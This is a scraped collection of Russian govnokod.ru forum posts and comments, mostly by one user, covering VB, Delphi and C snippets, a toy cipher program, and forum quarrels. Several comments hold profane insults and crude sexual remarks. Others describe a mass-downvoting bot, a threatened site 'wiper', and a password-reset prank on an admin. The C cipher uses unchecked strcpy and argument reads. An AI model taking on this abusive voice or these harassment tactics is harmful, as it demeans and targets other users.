  3085. Public Declare Function GetCurrentTime Lib "kernel32" Alias "GetTickCount" () As Long
  3086.  
  3087. Public rb As Boolean, FPS&
  3088.  
  3089. Const mFps& = 60
  3090.  
  3091. Sub Main()
  3092.  
  3093. init ' Инициализация (процедура в которой загружаются объекты)
  3094.  
  3095. Load frmMain
  3096.  
  3097. frmMain.Show frmMain.Scale (0, 0)-(200, 100): frmMain.AutoRedraw = 1 ' Загрузка формы
  3098.  
  3099. Dim t1&, t2&, stp&, stpM&: stpM = 1000 / mFps& ' переменные для цикла
  3100.  
  3101. 't2 = GetCurrentTime
  3102.  
  3103. ' Цикл
  3104.  
  3105. Do Until rb ' rb = 1 - Выход из цикла (например ,При выключение программы)
  3106.  
  3107. t1 = GetCurrentTime: stp = stpM - (t1 - t2): t2 = t1: If stp > 0 Then Sleep stp: t2 = t2 + stp ' Эта строчка регулирует кол-во ФПС , Fps<=mFps
  3108.  
  3109. DoEvents: FPS = FPS + 1
  3110.  
  3111. DoGame ' Вся игра
  3112.  
  3113. Loop
  3114.  
  3115. Unload frmMain
  3116.  
  3117. End Sub
  3118.  
  3119. Sub DoGame() ' Состав игры
  3120.  
  3121. DoControl ' Контроль клавиатурой
  3122.  
  3123. DoFiz ' Физика
  3124.  
  3125. Render ' Прорисовка
  3126.  
  3127. End Sub
  3128.  
  3129. ---------- description ----------
  3130. Вот какие они - таланты нашего гов..городка.
  3131. Ты сука, дол.оеб и девственник
  3132.  
  3133. ########## doctor_stertor: comment http://govnokod.ru/22703#comment386666 ##########
  3134. @Следите за формой, голубчик, следите.
  3135. По ошибке минуснул, каюсь.
  3136.  
  3137. Сегодня со мной произошла удивительная история: возвращаясь домой из лавки, где я обычно покупаю ливерную колбасу, я как кошка влюбился в соседского пса... Это не просто интрижка, я действительно заболел. Иду ли в клозет, пью ли, ем ли - только о нём и думаю,
  3138. о моём милом, пушистом Шарике. Как хорошо бы было полежать с ним рядом, подержать его за лапку, поцеловать...
  3139.  
  3140. /fxd
  3141.  
  3142. ########## voodoodal16: post http://govnokod.ru/21437 ##########
  3143. Доктор Стертор написал утилиту для лечения USB устройств.
  3144.  
  3145. ---------- description ----------
  3146. Интерфейс передран у юсб-диск-секьюришки, так как он показался мне наиболее удобным.
  3147. Прога пока сырая, (особенно это касается интерфейса) прошу сильно не лупить.
  3148. Утилита полностью бесплатна, мне от Вас ничего не нужно, пожертвования отдайте Гундяеву.
  3149. Вы имеете право использовать данный софт ТОЛЬКО на домашнем компьютере.
  3150. Ссылка для скачивания:
  3151. http://www.fayloobmennik.net/6632544
  3152. пароль - govnokod.ru
  3153.  
  3154. ########## Stertor: comment http://govnokod.ru/14218#comment204131 ##########
  3155. В том то и все дело. Мне попалась на глаза прога, распространяемая одним идиотом (кстати как раз с purebasic.info) - "для операций с интерфейсом", суть которой заключалась в разблокировании неактивных элементов интерфейса любого окна. Вот тут я и задумался: нельзя просто так лочить кнопки, нужно избегать опасных моментов именно в коде, а то вдруг вот какой-нибудь идиот вооруженный такой прогой что-то не то нажмет - куда это годится.
  3156.  
  3157. ########## Stertor: comment http://govnokod.ru/14318#comment209486 ##########
  3158. Не знаю, потому, что не учился и гордость тут как бы ни при чем. Одно дело, если ты учишь язык с преподом: слушаешь лекции, и другое если сам, в одиночку. Если и гордиться, то лишь тем, что я в свое время не испугался незнакомого синтаксиса и большого объема материала - стал учить.
  3159. Кстати, писать лабы - бесполезное занятие. Большинство даже не въезжают, зачем они их вообще пишут, не говоря уже о понимании поставленной задачи.
  3160.  
  3161. ########## Stertor: comment http://govnokod.ru/18307#comment289654 ##########
  3162. >> асм не учит писать байткодо
  3163. Вот это не правда, кстати. Асм из всего этого -- единственный *транслятор* а не компилятор, так что разницы между байткодом и асмовыми мнемониками -- никакой (я не говорю сейчас про препроцессор, метки вместо адресов итд, я говорю именно о мнемониках).
  3164.  
  3165. Если ты божественно умеешь написать ``mov eax,0x5`` то точно так же ты отктроешь хекс редактор и напишешь ``b8 05 00 00 00``, просто часто придется в справочник заглядывать.
  3166.  
  3167. ########## Stertor: comment http://govnokod.ru/14249#comment205420 ##########
  3168. Ок. Тогда я сам отвечу: это был БУМАЖНЫЙ конденсатор. Электролитический, он же оксидный конденсатор использует иные принципы, чем конденсаторы бумажного типа. Там в качестве диэлектрика, разделяющего пластины, используется тонкая оксидная пленка, пкоторая образуется в результате разности потенциалов - по этой причине его нужно включать в цепь ТОЧНО плюс к плюсу, минус к минусу. А вы говорите, тип не важен...
  3169.  
  3170. ########## Stertor: comment http://govnokod.ru/14249#comment205400 ##########
  3171. Смысл в том, что конденсатор подобно диоду можно использовать, чтобы отделить переменный ток от постоянного. Сдвиг фаз, говоришь? Ок.
  3172. Убедиться в этом можно на следующем простом опыте. Подключите к сети переменного тока через лампочку электрического освещения мощностью 25 Вт конденсатор емкостью 4—6 мкф. Лампочка загорится и не погаснет до тех пор, пока не будет разорвана цепь.
  3173. >>смесл не в типе,
  3174. Да, бля, подключите.
  3175.  
  3176. ########## Stertor: comment http://govnokod.ru/14348#comment211748 ##########
  3177. http://континент2000.рф/upload/iblock/097/0974542f529298aedb7036f979d88412.jpg
  3178. Я не представляю себе, как можно трахать такое дело, это нонсенс. Даже если банка побольше, есть риск ободрать половой член о края банки, не говоря уже о морали и приличиях. Если впитается, хм, вроде не токсичная она, но может вызвать аллергию. если трахать в презике, тоже: латекс, из которого сделан презерватив легко разрушается любыми жирами/кремами и маслами. Тарасб, пощади, скажи, что ты троллишь так.
  3179.  
  3180. ########## Dr_Stertor: comment http://govnokod.ru/21852#comment362546 ##########
  3181. Телевидение, как источник информации, морально устарело.
  3182. Для меня оно закончилось, когда я открыл для себя Интернет.
  3183. Сеть стала приемлемой альтернативой телепередачам, в основном состоящим из пропаганды, дебильной рекламы, вечно появляющейся не к месту, заказных статьей и сфабрикованной дезы.
  3184. Теперь я сам решаю, какую информацию воспринимать, и мне жалко людей, которые всё ещё пользуются телевизором.
  3185.  
  3186. ########## Stertor: comment http://govnokod.ru/13316#comment186499 ##########
  3187. Товарищи, объясните мне, пожалуйста, суть многопоточности.
  3188. Допустим, есть многопоточный прокси-чекер, загружен список из 10 проксей для проверки, счетчик потоков установлен на 50. Что в этом случае дадут дополнительные потоки, при проверке проксей? Я бы понимал, если на один прокси-один поток. Но 50! Или один поток тут же сменяет другой, если он завис при проверке, и этим обеспечивается высокая скорость выполнения?
  3189.  
  3190. ########## Stertor: comment http://govnokod.ru/14318#comment209449 ##########
  3191. Т.к. пароль от учетки анонима находится в свободном доступе, я не могу упрекать в чем-то одного человека, который пишет с нее относительно адекватно, но я обращаюсь к тому, или к тем, кто пользуясь доступностью ее приходит сюда гадить и оскорблять участников: пусть твоя анонимная безнаказанность будет твоим позором, ибо настоящий мужчина не стал бы этим заниматься. Ты лох и позер, я тебя пиздец, как неуважаю.
  3192.  
  3193. ########## Stertor: comment http://govnokod.ru/14318#comment209446 ##########
  3194. 1.Тупость зависит от времени суток и душевного тонуса - этим мы все иногда страдаем.
  3195. 2.Я в одиночку без преподавателя освоил то, чему годами учат в вузах - в чем выражается мое нежелание учиться?
  3196. Уебанство - это что, плохие манеры? Лично я считаю, что уебанство - это постинг разного дерьма с анонимной учетки, обусловленный боязнью необходимости ответить за свои слова и упрекание других в том, чего ты не стоишь сам.
  3197.  
  3198. ########## Stertor: comment http://govnokod.ru/15547#comment222026 ##########
  3199. Минусатор почти готов, теперь я могу утопить целый тред за считанные мгновения. Кстати, в мае я планирую выпустить в свет новую тулзу-лечилку, но боюсь проблем, так как прога писана на триальном компиляторе, по причине чего в Пользовательском Соглашении указано, что прога бесплатна и что я не буду получать абсолютно никакой прибыли (ни в прямом виде, ни в виде "пожертвований") от ее распространения.
  3200.  
  3201. ########## Stertor: comment http://govnokod.ru/14442#comment214000 ##########
  3202. Только что проверил. Оказывается, processmessages вызывает обработку сообщений только из того места, где он вызывается. После нажатия Button1 форма все равно будет залочена, несмотря на то, что рядом висит цикл, который вызывает processmessages. Главное, не вызвать тут:
  3203. procedure TForm1.Button1Click(Sender: TObject); var i:integer; begin for i:=0 to 5000 do list.add(inttostr(i)); for i:=0 to list.Count -1 do begin memo1.lines.add(list[i]); application.processmessages;// форма теперь не залочена, несмотря на цикл, и если юзер вздумает нажать на Button2 - будут проблемы. end; end; procedure TForm1.Button2Click(Sender: TObject); // сначала нажимаем на кнопку, вызывающую заполнение мемо, затем тут же жмем на эту var I : Integer; begin list.clear; end;
  3204.  
  3205. ########## void_main: comment http://govnokod.ru/20809#comment345433 ##########
  3206. Когда я только-только пришёл, участники были совсем иными, чем сейчас. На сайте царила атмосфера профессионализма и доброжелательности. Но прошло немного времени, и люди стали грубее, агрессивнее,склонными к насилию. Мне очевидна перемена, т.к. я отсутствовал. Если же вы откроете совсем ветхие посты, то поймёте, что готовы расцеловать этих няш, авторов сих перлов. Очевидно, людей изменяет время.
  3207.  
  3208. ########## Stertor: comment http://govnokod.ru/15442#comment220965 ##########
  3209. Все верно. Я например, посещаю сайты с бесплатными сканами книг, выставки картин, сайты с классической музыкой, и тп. Не хотелось бы навязывать вкусы, но так как они сами навязывают мне свои куки, то быть посему. А вообще можно отключить куки не с посещаемого сайта, но как то в Firefox это криво работает.
  3210. p/s/ открой в адблоке очередной посещаемый сайт - он будет пронизан скриптами facebook, google,yandex,odnoklassniki,vk и такой вот пищи названий до тыщи.
  3211.  
  3212. ########## Stertor: comment http://govnokod.ru/14370#comment211591 ##########
  3213. Русский язык учат в школе - институт побоку. Если не одолел в школе - уже пиздец, до самой смерти будешь писать с ошибками. Но бывают и исключения. Помню, я был в шоке, когда первый раз прочитал содержащую грубые ошибки писанину друга - человека, которого я уважал и ценил. Нам было в ту пору лет по 14. Видимо, я изменился в лице, когда читал - потому, что друг поспешно и со смущением сказал, что писал это "по-быстрому"...
  3214.  
  3215. ########## Stertor: comment http://govnokod.ru/14307#comment209393 ##########
  3216. Он, видимо забыл, где находится.
  3217.  
  3218. Крейслер и Рахманинов исполняли сонату Франка в "Карнеги-холл". Скрипач играл без нот и... вдруг память подвела его уже в первой части! Крейслер подошел ближе к пианисту и заглянул в ноты, пытаясь найти тот такт, где он мог бы "поймать" партнера.
  3219. - Где мы находимся?! Где мы находимся?! - отчаянно зашептал скрипач.
  3220. - В "Карнеги-холл", - не переставая играть, шепотом ответил Рахманинов.
  3221.  
  3222. ########## Stertor: comment http://govnokod.ru/14303#comment208062 ##########
  3223. Мы с вами мыслим по-разному, кэп. Искоренять нужно не быдло (ибо это следствие) а причину. Нужно искоренять волчьи нравы, возрождать духовные ценности, пропагандировать хороший вкус. А кто этим будет заниматься, если кругом коррупция и алчность? Моя философия сводится к тому, что не стоит изменять весь мир - это никому не под силу. Нужно изменить самого себя - если каждый сделает это, мир изменится.
  3224.  
  3225. ########## Stertor: post http://govnokod.ru/13493 ##########
  3226. /*
  3227. * Пример программы шифрующей данные симметрично по ключу.
  3228. *
  3229. * Параметры командной строки:
  3230. *
  3231. * /program_path [source file path] [destenation file path] [key] [type]
  3232. *
  3233. * [key] - кодовое слово длинной не более 255 символов.
  3234. * [key] - принимает два параметра cript и uncript (шифровать/расшифровать)
  3235. *
  3236. * Пример использования аргументов:
  3237. *
  3238. * "/home/aleksandr/Рабочий стол/Крипт/s_cript" "/home/aleksandr/Рабочий стол/Крипт/simple_file_1.txt" "/home/aleksandr/Рабочий стол/Крипт/simple_file_2.txt" simplekey cript
  3239. * "/home/aleksandr/Рабочий стол/Крипт/s_cript" "/home/aleksandr/Рабочий стол/Крипт/simple_file_2.txt" "/home/aleksandr/Рабочий стол/Крипт/simple_file_3.txt" simplekey uncript
  3240. *
  3241. * :P
  3242. *
  3243. */
  3244.  
  3245. #include <stdio.h>
  3246. #include <limits.h>
  3247. #include <string.h>
  3248.  
  3249. void cript_uncript(FILE* src_fp, FILE* dst_fp, char* key_X, char* block, _Bool type)
  3250. {
  3251. unsigned char i, real;
  3252.  
  3253. while((real = fread(block, sizeof(char), UCHAR_MAX, src_fp)) > 0){
  3254. for(i = 0; i < real; i++){
  3255. if(type == 0)
  3256. block[i] = block[i] + key_X[i];
  3257. else if(type == 1)
  3258. block[i] = block[i] - key_X[i];
  3259. }
  3260.  
  3261. fwrite(block, sizeof(char), real, dst_fp);
  3262. }
  3263. }
  3264.  
  3265. void generate_key(char* key, char* key_X){
  3266. unsigned char len, i, n = 0;
  3267.  
  3268. len = strlen(key) - 1;
  3269.  
  3270. for(i = 0; i < UCHAR_MAX; i++) {
  3271. key_X[i] = key[n];
  3272. if(n++ == len) n = 0;
  3273. }
  3274. }
  3275.  
  3276. int main(int argc, char* argv[]){
  3277. FILE* src_fp;
  3278. FILE* dst_fp;
  3279.  
  3280. char key[UCHAR_MAX], block[UCHAR_MAX], key_X[UCHAR_MAX], s[UCHAR_MAX];
  3281. char src_path[1024], dst_path[1024];
  3282.  
  3283. if(argc < 4){
  3284. puts("not enough arguments\n");
  3285. return -1;
  3286. }
  3287. else{
  3288. strcpy(src_path, argv[1]);
  3289. strcpy(dst_path, argv[2]);
  3290. strcpy(key, argv[3]);
  3291. strcpy(s, argv[4]);
  3292. }
  3293.  
  3294. if((src_fp = fopen(src_path, "rb")) != NULL){
  3295. if((dst_fp = fopen(dst_path, "wb")) != NULL){
  3296. generate_key(key, key_X);
  3297.  
  3298. if(strcmp(s, "cript") == 0)
  3299. cript_uncript(src_fp, dst_fp, key_X, block, 0);
  3300. if(strcmp(s, "uncript") == 0)
  3301. cript_uncript(src_fp, dst_fp, key_X, block, 1);
  3302. }
  3303. else return -1;
  3304.  
  3305. fclose(src_fp);
  3306. }
  3307. else return -1;
  3308.  
  3309. fclose(dst_fp);
  3310.  
  3311. ---------- description ----------
  3312. Пример программы шифрующей данные симметрично по ключу
  3313.  
  3314. ########## doctor_stertor: comment http://govnokod.ru/23908#comment408420 ##########
  3315. Чуть не в тему. Есть личность по имени Кривоус Анатолий, ник TheTrick, пишет драйверы на VB, не стесняясь патчить рантайм и творить прочие непотребства. Психоанализу это действо ну никак не поддаётся. Мог бы ты, как опытный, пролить свет: нахуя это делать? Если так хорошо знаешь систему и API, почему бы не написать супер-мега-крутой, полезный проект? А своего софта у чувака нет. Сейчас он развращает школьников на Vbbook.ru.
  3316.  
  3317. ########## Stertor: comment http://govnokod.ru/13792#comment197732 ##########
  3318. Я из-за этой же хуетени выкинул Лажаруса - теперь понимаю, что зря; Length упорно возвращал в два раза большую длину строки. Оказывается, нужно было использовать utf8-строки и делить результат на размер 1 символа (sizeof(char))
  3319. Вот такой я дурашка.
  3320.  
  3321. Борманд, как ты думаешь, возможно ли на этом Лажарусе что-нибудь более-менее серьезное написать? Как работать с сетью? Кроссплатформенность не интересует. Я только под винду.
  3322.  
  3323. ########## voodoodal16: post http://govnokod.ru/21427 ##########
  3324. http://stopvirus.ru/
  3325.  
  3326. ---------- description ----------
  3327. Китайцы предлагают решение для защиты от вирусов, в виде пакетика с диоксидом хлора (весьма токсичное вещество с канцерогенными свойствами). Это надо же было додуматься до такого: При вскрытии пакетика, яд начинает медленно испаряться, создавая вокруг носителя "защитное облако".
  3328. Обратите внимание, как тонко выкрутились китайцы: "при появлении дискомфорта - прекратить использование"
  3329.  
  3330. ########## Stertor: comment http://govnokod.ru/14303#comment208051 ##########
  3331. Я это к тому, что праздник (тем более такой, как Новый год) лучше встречать в узком кругу родных и друзей. К слову, около дома, где я живу есть большой ночной клуб /ресторан. Не одну ночь я просыпался от криков пьяного быдла, когда они в пьяной ярости били друг другу морду. Зачем быть таким? Под новый год клуб бывает особенно окружен машинами - жлобы кишат, как тараканы. Жлобам в среднем от 22 до 45 и более лет.
  3332.  
  3333. ########## Stertor: post http://govnokod.ru/13763 ##########
  3334. Главная » Усыпление программы
  3335. Усыпление программы
  3336. Автор: -Гепард97-
  3337. Написать автору
  3338. [просмотров 751]
  3339.  
  3340. В VBS есть функция wscript.sleep, позволяющая усыпить скрипт. Но как такое сделать в VB? Ответ прост: делаем новый модуль и пишем код:
  3341.  
  3342. Public Declare Sub Sleep Lib "kernel32" (byval dwMilliseconds As Long)
  3343.  
  3344. И все. Когда прогу нужно усыпить, просто пишем в коде проги, если например прога должна остановиться на 2 секунды то пишем
  3345.  
  3346. Sleep 2000
  3347.  
  3348. Этого способа нет на MSDN, я его сам отрыл
  3349.  
  3350. ---------- description ----------
  3351. Билл Гатэс прочел это и уснул...
  3352. Z-z-z-z...
  3353.  
  3354. ########## Stertor: comment http://govnokod.ru/13494#comment189777 ##########
  3355. А кто говорит, что он универсальный? Я всего лишь имел в виду, что по сравнению с дохлым пасцалом, даже рулонный язык vbs имеет больше преимуществ: на нем пишут свитки для упрощения различных манипуляций с файлами, системой, а учить его начинающему быдлокодеру легче. О том, что компилятор пасцаля не генерирует нормальные исполняемые для винды (консолечка - гоатсе) - об этом я даже не упоминаю.
  3356.  
  3357. ########## Stertor: comment http://govnokod.ru/13838#comment197347 ##########
  3358. Это т.н. проверка на вшивость. Со мной много раз так было. Садо-мазо это выглядит только внешне. Суть этого взаимного обливания грязью - понять, что представляет из себя собеседник, стоит ли с ним общаться. Потом как правило, начинается нормальное общение - если собеседники подошли друг другу по каким-то известным только им критериям.
  3359.  
  3360. Кстати, часто так пассивные геи знакомятся с активами
  3361.  
  3362. ########## Stertor: comment http://govnokod.ru/15650#comment224392 ##########
  3363. когда задают вопрос "какой враг самый опасный?" многие отвечают: бывший друг. Это отчасти верно. Между тем, самый опасный враг - тот, кому нечего терять. Человек вы отрицательный, никаких компромиссов к вам больше не будет. Впредь, если я попрошу товарищей помочь, знай: вопрос адресован всем, кроме тебя. Просто пройди мимо, (ну, или въеби минус, чего уж там). Одолжения мне делать не нужно. Не стоит.
  3364.  
  3365. ########## Dr_Stertor: comment http://govnokod.ru/21780#comment360996 ##########
  3366. @А почему False?
  3367. Потому, что при создании экземпляра класса, у вновь созданного все поля неявно обнуляются.
  3368.  
  3369. @Разве не GetValue()
  3370. Этот метод просто возвращает значение приватной переменной. Он не участвует в инициализации, тем более, что поле - только для чтения.
  3371.  
  3372. Инициализация полей объекта следует выполнять в конструкторе.
  3373. Автор учебника (кстати, кто он?) своей ложью толкает новичков на неверный путь.
  3374.  
  3375. ########## Stertor: comment http://govnokod.ru/18345#comment290397 ##########
  3376. Позор программистского мира - небритое убожество с пахнущими подмышками, которое сидит под твоей учёткой и постит бредятину.
  3377. На делфи программируют миллионы людей в мире - и он их вполне устраивает, как и меня. Делфи - лишь инструмент; для каждой задачи нужен свой инструмент. Ты пытаешься убедить нас в своём профессионализме, но не знаешь таких элементарных вещей. Иди на хуй отсюда.
  3378.  
  3379. ########## Stertor: comment http://govnokod.ru/18303#comment289653 ##########
  3380. Точно так же как HTMLDOM работает с HTML5 который ни разу не велл-формд XML.
  3381.  
  3382. Базуер как-то там c хуем на пополам себе всё это парсит, что-то додумывает, рекаверится из ошибок, строит в памяти НОРМАЛЬНОЕ дерево (проверьте инспект элементом -- там сингл рут дерево, нормальный направленный граф же) и дальше оно работает.
  3383.  
  3384. Кстати: "строятся по похожему" != "реализация XPATH". Где Вы видели в XPATH понятие "класса "(точечка) например?
  3385.  
  3386. ########## Dr_Stertor: comment http://govnokod.ru/21929#comment364274 ##########
  3387. Невнимательный химфизик. Читая такие опусы, сам собой напрашивается вывод, что ты рукожопый профессиональный программист с профильным образованием и работой по специальности, а ты анскил с дельфи.
  3388.  
  3389. @Программистом знать не стремился, о VB узнал случайно.
  3390. В нашей школе не преподавали ни паскаля ни бейсика, да и компа у меня тогда не было. Интерес к кодингу разгорелся много лет спустя.
  3391.  
  3392. ########## void_main: comment http://govnokod.ru/20708#comment345895 ##########
  3393. Наверно, я путанно выражаю мысли. Ок.
  3394. Периодически просматривать сток и парсить комменты, отметая уже заминусованные (бот проверяет их рейтинг), обходится менее ресурсоёмко, чем лупить по уже заминусованным постам.
  3395. Бот парсит ссылки на посты в стоке, переходит по ним, парсит все комменты и составляет список для минусования. Уже заминусованные комменты в этот список не войдут.
  3396.  
  3397.  
  3398. ########## Stertor: comment http://govnokod.ru/14348#comment211784 ##########
  3399. бля, неужели кому-то трудно подрочить, зачем еще изобретать такую хуетень? Скоро начнуть насиловать воздушные шары.
  3400.  
  3401. кстати. со мной учился один озабот, першийся с малолеток. Однажды, в школе он напросился надуть девочке шарик - надувал, а девочка радостно хлопала в ладоши. Это его подстегивало, и он надувал усерднее, надувал-надувал, пока шарик не лопнул. Девочка обиделась и отошла.
  3402.  
  3403. ########## Stertor: comment http://govnokod.ru/13699#comment193906 ##########
  3404. >>5. Сверхтонкий троллинг: 1 год на форуме (или больше, если тролли осилят), более 1 сообщения в день, оппоненты размазаны по стенке, но никто не понял, что их троллят
  3405. Вот это меня крепко заинтересовало. Может, внатуре проведем? Выберем сайт-жертву, судья и несколько троллей-конкурентов тайно зарегистрируются и будут втихомолку троллить. Участникам даже не обязательно знать друг-друга.
  3406.  
  3407. ########## Stertor: comment http://govnokod.ru/14295#comment207403 ##########
  3408. Борманд, а как сделать такое:
  3409.  
  3410. имеем тип:
  3411.  
  3412. type tactype=(ac_none,ac_done,ac_deny,ac_notfound); type tmyclass=class private factiontype:tactiontype; procedure setactiontype(value:tactiontype); public property actiontype:tactype; read factiontype write setactiontype;
  3413. а как прикрутить к этому свойству функцию StatusToString:string, т.е. держать в 1 свойстве тип и строковую функцию?
  3414. var
  3415. mc:tmyclass;
  3416. begin
  3417. mc:=tmyclass.create;
  3418. mc.actiontype // тип будет tactype
  3419. mc.actiontype.StatusToString // это функция возвращающая строковое значение в зависимости от текущего значения tactype? Вопрос в том, как прикрутить функцию к типу, не являющемуся классом? Если нужно создать промежуточный класс, то как это сделать?
  3420. Сорри за оффтоп. Заминусую потом.
  3421.  
  3422. ########## Stertor: comment http://govnokod.ru/13714#comment194816 ##########
  3423. google:нескучные обои
  3424.  
  3425. Вот ебень. Только я не понял, он что из исходников ее скомпилировал? Чего логотип не поменял?
  3426.  
  3427. Тут кто-то еще мне говорил "Ты чего такой тугой? На гугле забанили?". Так вот, знайте: гугл, фейсбук, одноклассники, вк, и тп. следящая дрянь у меня в списке заблокированных сайтов уже года 4. А адблок так настроил, чтобы он выкусывал все скрипты, где даже упоминание гугла присутствует.
  3428.  
  3429. ########## Stertor: comment http://govnokod.ru/13283#comment185509 ##########
  3430. Спасибо, братья мои, я уже разобрался. Подучил справку. Просто было интересно, можно ли так ассигновать объект. Оказывается, можно. Я умею форматировать код, просто писалось на скорую руку, приходилось несколько раз переписывать.
  3431. Вот так правильно?
  3432.  
  3433. for i:=0 to getcount-1 do begin temp:=tlst.LockList.Items[i]; // вот это место. Как Вам кажется, это правильно, или не? tlst.unlocklist; if assigned(temp) then n:=temp.filename; if n='ololo' then begin showmessage('Сканирование этого файла уже выполняется') ; exit; end; end;
  3434.  
  3435. Опять сайт испортил форматирование((
  3436.  
  3437. ########## Stertor: comment http://govnokod.ru/14301#comment208365 ##########
  3438. >>Вопросы на засыпку: (см. все вопросы)
  3439. +1
  3440. >>"Не нужно переписывать кучу кода, достаточно пары вставок" - ложь, пиздежь и сплошная провокация
  3441. +1 (уже успел набить шишки)
  3442. Использование асинхронности может принести массу проблем, если не предпринять мер. Опасность в том, что прога не фильтрует сообщения главного потока - можно обращаться к объекту из цикла, и тут же вызвать деструктор объекта...
  3443.  
  3444. ########## Stertor: comment http://govnokod.ru/13217#comment183361 ##########
  3445. Я бы предлагал после г..кода указывать еще и правильное решение, а то как то нехорошо получается. В данном случае я бы создал в классе-потомке tthread несколько приватных строковых переменных; при создании потока загнал бы в них текст с мемо и оперировал уже этими переменными. А после окончания потока синхронизировался бы с процедурой, которая уже непосредственно и заполняет мемо.
  3446.  
  3447. ########## Stertor: comment http://govnokod.ru/13280#comment185297 ##########
  3448. Срр, я не хочу, чтобы Вы ушли с плохим впечатлением. Скажите, Вам знаком такой термин, как троллинг? Так вот, Вы очень легко поддаетесь на провокации такого рода. Существует множество троллей разнообразных мастей, но чаще встречаются "толстые" и "тонкие" тролли. В данном случае Вы стали жертвой банального толстого троллинга - все стебают одного. Но Вы сами виноваты - кормили троллей.
  3449.  
  3450. ########## Stertor: comment http://govnokod.ru/13308#comment199761 ##########
  3451. >>Упомянул его имя только для связи ситуации Старпёра с постами в адрес Тараса от гостя.
  3452.  
  3453. Вот если сейчас наговорить тебе всяких "иди на хуй", разве не надо тебе? Мало того, что коверкаешь мой ник, так еще и наговариваешь.
  3454.  
  3455. >> Если бы мне мимопроходящая залетная гостья предложила отсосать
  3456. А самому-то тебе слабо взять чей-то стоящий хуй в рот и довести его хозяина до экстаза? Глаза береги.
  3457.  
  3458. ########## Stertor: comment http://govnokod.ru/13922#comment199867 ##########
  3459. Я бы предлагал забыть на следующие полчаса о нормах приличия и морали, влезть по уши в дерьмо и составить годную строковую сигнатуру из массива слов, которые в совокупности составляют порочащие сведения или мат:
  3460.  
  3461. >>обслужу
  3462. >>кавказец
  3463. >>хуястые
  3464. >>минет
  3465. >>подставлю
  3466. >>пидор
  3467. >>сосет
  3468. и т.п. в этом роде, ибо настоебало читать непотребности, которые регулярно сеет чей-то приголубленный мозг.
  3469.  
  3470. ########## Stertor: comment http://govnokod.ru/18538#comment294551 ##########
  3471. История такая: лет 16 назад один малолетний чех (или поляк, хз) захотел написать сетевого червя.
  3472. Червь должен был распространяться по мирк-каналам в виде прикрепленного файла Salim_se!.htm (скрипт правит файл Mirc.ini), но из-за глупых ошибок в коде червя этого не происходит. Также червь при запуске копируется на все доступные локальные диски и перезаписывает htm файлы на раб. столе. Я нашёл его на vx.netlux.org и изучил.
  3473.  
  3474. ########## Stertor: comment http://govnokod.ru/13839#comment197270 ##########
  3475. Это великолепнейшая прога, которая выполняет за юзера всю черную работу - ходит по сайтам, торрентам, файлообменникам и ищет по запросу/ссылке файлы, с возможностью последующей скачки а также может работать как торрент-клиент. Была замешана в скандале по обвинению в снятии скриншотов и похищении паролей, что не подтвердилось.
  3476. Кланяюсь авторам в ножки - много раз выручала.
  3477.  
  3478. ########## Stertor: comment http://govnokod.ru/18333#comment289933 ##########
  3479. Въебал минус. Этот подлизок - соска Борманда, которого я не включил в список по одной простой причине: он помогал мне с дельфями. Это, впрочем, вовсе не мешало ему беспричинно минусовать мои посты. Ты тоже не Д'Артаньян; чуть что - сразу начинаешь грозить свитком.
  3480.  
  3481. Я хочу вернуть старый ГК, где участники ОБЩАЛИСЬ. Сейчас же все тупо уткнулись в с++ либо темы, никак не связанные с кодингом.
  3482.  
  3483. ########## Stertor: comment http://govnokod.ru/15653#comment224318 ##########
  3484. Последствия от тестирования нового минусатора.
  3485. Я пожалуй прикручу функционал, чтобы бот читал содержимое всех новых топиков и искал там мой ник. Я смогу управлять им посредством кодовых слов. Но боюсь, это будет тормозно. К тому же нельзя будет отвечать на старые посты, т.к. в таком случае ник смещается вниз, а бот читает только самое нижнее сообщение, где встречается мой ник.
  3486.  
  3487. ########## Stertor: comment http://govnokod.ru/18015#comment282685 ##########
  3488. Тонко. Я тоже попробую ее поюзать.
  3489. Кстати, вышеупомянутые функции пишут в аргумент, что стало причиной многих багов у меня.
  3490. void PathRemoveArgs( _Inout_ LPTSTR pszPath );
  3491. Потом нашёл обёртку в JEDI, там на асме. Потом листнул справку, и понял, что нехорошо есть бананы вместе с кожурой:
  3492. function RemoveArgs(const path:string):string; var S:string; begin s:=path; // борландовские строки. Копия в памяти не создаётся, просто увеличивается счётчик ссылок. UniqueString(s); // создаём копию строки. PathRemoveArgs(pchar(s)); result:=s; end;
  3493. Наверняка можно изящнее, но я устал.
  3494.  
  3495. ########## Stertor: comment http://govnokod.ru/14442#comment213985 ##########
  3496. Товарищи, безопасен ли этот код (решил тут выложить, чтобы не создавать новую тему):
  3497. unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls; type TForm1 = class(TForm) Memo1: TMemo; Button1: TButton; Button2: TButton; Timer1: TTimer; procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure Timer1Timer(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; list:tstringlist; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); var i:integer; begin for i:=0 to 5000 do list.add(inttostr(i)); for i:=0 to list.Count -1 do // обратите внимание: я не вызываю здесь application.processmessages - это опасно. memo1.lines.add(list[i]); end; procedure TForm1.Button2Click(Sender: TObject); // сначала нажимаем на кнопку, вызывающую заполнение мемо, затем тут же жмем на эту var I : Integer; begin list.clear; end; procedure TForm1.FormCreate(Sender: TObject); begin list:=tstringlist.Create; end; procedure TForm1.Timer1Timer(Sender: TObject); begin timer1.Enabled:=false; while true do application.ProcessMessages; {на form.create() цеплять нельзя, форма не покажется.} end; end.
  3498.  
  3499. Цикл заполняет мемо, читая из листа, и тут же рядом цикл крутит processmessages. Не возникнет ли асинхронность, которая вызовет выход за границы?
  3500.  
  3501. ########## doctor_stertor: post http://govnokod.ru/23931 ##########
  3502. Скажу по большому секрету, что когда я призывай Страйкера (помните, я как-то раз запостил петицию, а через день пришел страйко?..), я немного схитрил.
  3503. Страйко отреагировал вовсе не потому, что на него произвели впечатление мои пёрлы.
  3504. Страйко пришёл потому, что я отправил запрос для восстановления пароля от его учётки...
  3505. Действует безотказно на любого админа.
  3506.  
  3507. ---------- description ----------
  3508. Простите меня люди
  3509.  
  3510. ########## Stertor: comment http://govnokod.ru/15650#comment224373 ##########
  3511. Скоро я закончу с вайпером и сделаю сайт нечитаемым (дома-то конечно вы сможете читать сообщения, но не на работе), если не перестанете выебываться; "въебал плюс, въебал минус" - детский сад. Только я нашел приют на этом девственном сайте, как и тут откуда ни возьмись появились самозванные модераторы.
  3512.  
